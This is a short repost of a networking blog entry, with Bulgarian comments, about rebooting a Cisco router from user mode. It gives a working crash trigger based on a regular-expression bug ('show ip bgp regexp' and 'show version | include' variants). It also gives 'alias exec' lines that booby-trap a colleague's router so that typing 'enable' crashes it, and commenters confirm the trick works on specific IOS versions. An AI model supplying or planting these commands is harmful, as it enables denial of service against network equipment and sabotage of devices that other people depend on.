Rebooting a Router from User Mode

Цитат от http://blog.internetworkexpert.com/2008/10/12/rebooting-a-router-from-user-mode/

I’m over in London this week for a CCIE Voice Bootcamp and a support engineer IMs me asking a question.   He needed to remotely reload a backbone router for a new rack but for some reason the standard enable password we use for the backbone routers wasn’t working.  I asked him if he could just VPN in and reload it using the power controller.  He told me he was telneted into the rack using his iPhone and wanted to just do it via telnet as opposed to opening a VPN connection.  For a moment I thought to myself he was just out of luck but I then remembered the old regular expression bug that would reload the router (i.e. “show ip bgp regexp ([0-9]*)(_\1)+”, “show version | include ([0-9]*)(_\1)+”, etc).  He types it in, the router crashes and all is good.  This also reminded me that I need to update the initial configurations on Brian McGahan’s development rack (see below) ;-)

alias exec en show version | include ([0-9]*)(_\1)+
alias exec ena show version | include ([0-9]*)(_\1)+
alias exec enab show version | include ([0-9]*)(_\1)+
alias exec enabl show version | include ([0-9]*)(_\1)+
alias exec enable show version | include ([0-9]*)(_\1)+

Изпробвано е от колеги и продължава да работи на 65хх-ца !!!!

One comment

  1. Действа с 12.2(18)SXD6 – след това се наложи power-cycle от шалтера 🙂

Leave a Reply to angelCancel reply

Този сайт използва Akismet за намаляване на спама. Научете как се обработват данните ви за коментари.